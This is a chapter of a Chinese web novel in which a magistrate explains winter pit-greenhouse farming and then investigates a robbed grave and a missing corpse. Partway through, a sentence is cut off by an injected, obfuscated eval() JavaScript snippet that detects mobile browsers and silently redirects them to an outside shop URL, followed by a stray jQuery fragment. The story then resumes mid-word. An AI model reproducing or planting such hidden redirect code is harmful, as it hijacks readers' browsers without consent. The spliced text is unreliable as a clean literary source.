苏管家听到这声音,扭头一看,那叫一个激动,“哎,来了,船来了。”
他指着船对那些背货郎说:“等着,马上给你们结工钱。”
孟安允瞧这管家的状态不像是在演戏,难道苏府真的没钱了?
船只靠岸,走出来一个大腹便便的青年人,他站在船边居高临下的看着,穿着跟岸上的人都不一样,那绫罗绸缎和满手的玉扳指、金戒指,无不彰显着他有钱。
“来,这是这一趟的钱,来拿吧。”青年人吩咐手底下的人扛出了一个麻袋。
“哎。“
苏管家朝他应了一声,点头哈腰的,活像只哈巴狗,他上船将袋子往后拉了好几步,再出来的时候麻袋已经塌了三分之二。
“来吧,有钱了,大家排好队来领。”
背货郎们从地上站起来,动作有些缓慢,脏兮兮的裤子和不御寒的背心,再加上那标志性的草鞋,这就是常年靠背货生存的汉子们,他们的背岣嵝着,是被生活压弯的。
汉子,只是一种好听的称呼,孟安允一眼扫过去,其实没几个年轻人,多的是上了年纪的,这些人没有一丁点儿福相,他们一年到头都在渡口讨生活。
孟安允留了几个衙役维持秩序,自己就想回去,她见不得这种为了工作日日早起,去劳务市场等着被带走的那种辛酸,瞧着就难受。
背货郎们想让自己理解的不易,自己在现代就已经明白了。
可不管在哪里,她暂时都改变不了什么,渡口待久了总有些喘不上气,索性早些离开。
“大人,苏府真的没有钱吗?”云娘才从方才的震撼中找回自己的声音。
“不知道,没准人家用来周转的钱是不拿到明面上用的,谁知道呢,他们惯会演戏。”孟安允对苏府已然形成了刻板印象。
他们就在大街上慢慢往回悠,这是孟安允很喜欢的解压方式,走到轻膳食铺的时候,柳意在门口招待生意,瞧见孟安允一行人很是热情。
“哎呦,大人您来了,云丫头今儿也在啊,要进来吃点东西吗?”
“不了,想早些回县衙,今天就不坐了。”孟安允开口拒绝,她余光瞥见店里客人还不少,她不太想凑热闹。
柳意从台阶下来,亲切的挽着孟安允的手臂,把她往店里带,孟安允看出来柳意是有事找自己,也就没有再出声阻止。
几人进到内室,孟安允看到桌子上摆着的果盘和茶水,就猜到柳意是专门在门口堵她。
“大人,冬天离得不远了。”柳意的担忧之意爬上眉梢,“冬天,我们没有那么多新鲜的蔬菜。”
她这几天就一直在琢磨这个问题,心烦的都觉得不适合在这个时节开店,没有新鲜的蔬菜供应,就做不了蔬菜沙拉这种菜品,那店里的生意一定会受到影响。
她想了很多,虽然不是很想用这些问题去烦恼孟大人,但轻膳食铺是很多人的心血,她不想在冬天停业。
“想冬天吃上自家种的鲜菜?”孟安允反问道。
她将新的茶杯推向柳意,示意她先喝口水润润嗓子,别着急。
在柳意没说事情之前,看她那焦急的样子,自己还以为是什么天大的难题,这下不就知识对口了嘛。
在现代谁还不喜欢种点东西了?
“柳意,这个其实不难!”
“啊?大人,这还不难,难道您真的是神仙不成?”云娘太惊讶了。
孟安允被逗笑,几天来的烦闷都消解不少,她轻点云娘的额头,“什么呀,我哪是什么神仙。”
焦虑的气氛在谈笑间变得松快不少,大家都等着孟安允接下来的话。
“再说了,这世上哪有神仙,迷信可要不得,只是事在人为罢了。”
孟安允让柳意拿来纸笔,在纸上画了一个圆圈,众人正不解,就听见她说:“我们可以选个背风向阳的地儿,挖个半人深的坑,上面用木棍、草帘子搭个棚,留个口子进出。”
“白天掀开草帘让太阳晒进来,里头就暖和了;晚上盖上草帘子保暖,别让菜冻着。地干了就浇点水,菜长得跟夏天一样好。”
她尽量用简单的术语让大家明白大棚蔬菜的种植原理。
“可是大人,用草帘子就可以了吗?玉山的冬天很难熬的。”柳意说。
听到她的话,坐在一旁的云娘点点头。
孟安允拿着笔在纸上点,蹙眉思考,“如果很冷的话,我们可以找个有墙或靠山的地方,能挡住北风,草帘子光薄薄一层不行,得用稻草扎得密密实实,像厚棉被一样,风才打不透。”
她又补充道:“晴天一定把草帘卷起来,让太阳先把地晒透了,里头存住热气,晚上才能抵得住寒。”
“哦,我明白了,就是让菜不冻着。”柳意恍然大悟,眉头都松开了。
“哇塞。”
云娘激动的站起来,拉着孟安允的胳膊摇晃,“大人,这样就可以了吗?今年冬天我们终于有新鲜的蔬菜吃了。”
“这只是书上的方法,我们在操作的时候可能会遇到一些困难。但我这里还有很多种菜的方法,等我回去写下来,我们都试一试。”
孟安允只掌握理论知识,没有实操经验,这些话在她看来是很唬人,但效果是怎样,自己还真不知道。
她还记得,自己在现代第一次尝试种胡萝卜插倒根茎的糗事,当时连土都发霉了,怕被人笑话,自己灰溜溜的悄摸带盆扔了。
“太好了,大人,有您在真的很安心。”柳意笑着说。
在场的人瞬间星星眼看着孟安允,对她佩服的五体投地。
孟安允抬起手挡着羞红的脸,端起茶杯掩饰性的喝了一口。
“大人!”
突然,正堂外传来衙役尖利的禀报声。
孟安允的心一下子就揪了起来,众人齐齐望向门外。
衙役慌忙的跑进来,俯下身子在孟安允耳边说:“大人,柳家大小姐的坟被人挖了,尸体下落不明。”
孟安允的瞳孔极速的放大,一脸不可置信的看向传话的衙役,在得到他肯定的点头后,她的手开始无意识的颤抖。
她抬头看向一脸疑惑的云娘,问出了一个让在场人都不解的问题。
“你们当时,将柳清婉葬在了何处?”
孟安允的不安太过明显,让大家的心也提了起来。
柳意见气氛不对,也不好再坐在椅子上听,她站起身带走了屋子里无关的人,又恢复了自己的吆喝声,若无其事的守在外面。
“大人……”
云娘已经察觉到不对,咕嘟一声咽了口唾沫,舌尖无意识的抿唇。
“我们把她葬在了李家的地里。”她开始恐慌,眼尾瞬间就红了,“怎么了?”
“有人挖了她的坟。”
孟安允话音刚落,就听到咣当一声,是云娘慌乱间打碎了茶杯。
“其他人的坟还好吗?”
云娘担
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284232|198415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心极了,当时她可是力排众议,让她葬在了那里。没想到,这才没过多久就出事了。
老一辈人很讲究入土为安,这种挖坟的行为会被认为是在打扰祖先的沉睡。
“别担心,传来的消息是她的坟被挖了。”意思很明显。
云娘试探的问:“尸体呢?还在吗?”
孟安允蹙眉摇头,“下落不明。”
“她都死了,有谁会要一个尸体?”云娘静下心猜测。
突然,她猛的抬起头看向孟安允,“完了!难道是云来的同伙。”
孟安允瞬间被提醒,她想到了柳府血脉恐怖的特殊之处,可为何来人不在柳清婉下葬那段时间就来盗尸体,反而中间还搁了些时日?
这一点,她想不通。
见大人半天没说话,云娘特别慌张,“怎么办,大人,我们要怎么办?”
“李云朗。”孟安允对上她不安的眼睛,第一次这么郑重地叫出她的名字。
云娘怔住,呆愣的望向一双平静的眸子。
“现在,你要做的,是保护好你自己。永远记住,你信李!”
她说得很坚定,在说小丫头姓李的那一瞬间,孟安允仿佛理解了柳清婉的一片苦心。
或许,她从不是傻的……
“她的尸体,我们找不到了,但我们可以去现场看看有没有什么遗留的线索。”
孟安允拽起还在发呆的云娘,她侧过脸不去看小丫头的眼睛,就怕自己会忍不住掉眼泪。
她没办法不去心疼这孩子,可现在不允许他们多愁善感,柳清婉尸体被盗传递给所有人一个信息,柳府血脉还有用!依旧有人在暗处窥伺。
敌在暗,我在明。
什么都查不到才是最可怕的。
众人在去李家地里的时候,天又阴了下来,看着又要下雨,云娘抬头看向那灰蒙蒙的天空,耳边仿佛又听到了那能掀翻天灵盖的唢呐声。
“哎呦,孟大人,咋又带着人往地头走哇,这天不保险,看着又要下了,快些回去吧。”一个挎着菜篮子的妇人迎面走来,关切的问道。
“办点事,大娘先回,我们办完事就回去了。”
孟安允前一秒还在扬起嘴角客套,下一秒就沉下脸,眯起眼睛看向远方。
“抓住他!”
一声令下,衙役们迅速奔过去扣住男人的肩膀将他按倒在地。
孟安允小跑过去,观察了周遭凌乱的坟包,又看向这个淳朴到面善的男人。
“这是做什么?死人的东西都不放过?”看似她在调侃,眸子却冷到极处。
“我就是看这儿发生了什么,何故要抓我啊,看热闹都不行吗?”听着他的话,让人觉得他多委屈似的。
“那你跑什么?”
“你们要抓我,我不跑才奇怪吧。”男人反驳道。
“奥,是这样啊。”孟安允长叹一口气,说道:“可心里有鬼的人才会怕官啊。”
她的话,让衙役们暗自升起的那一丁点儿愧疚荡然无存。
男人还要辩解,“我,我就是从其他地方来玉山玩的,我可不归你们管。”说着,就开始挣扎。
“老实点,别动。”衙役们加大扣押的手劲。
“既然来了玉山,就要守玉山的规矩。我管你从哪来的。”
孟安允看都不看他,朝衙役吩咐道:“压回去,他要是说不出个所以然来,就关到牢房里去,永远都别出来了。”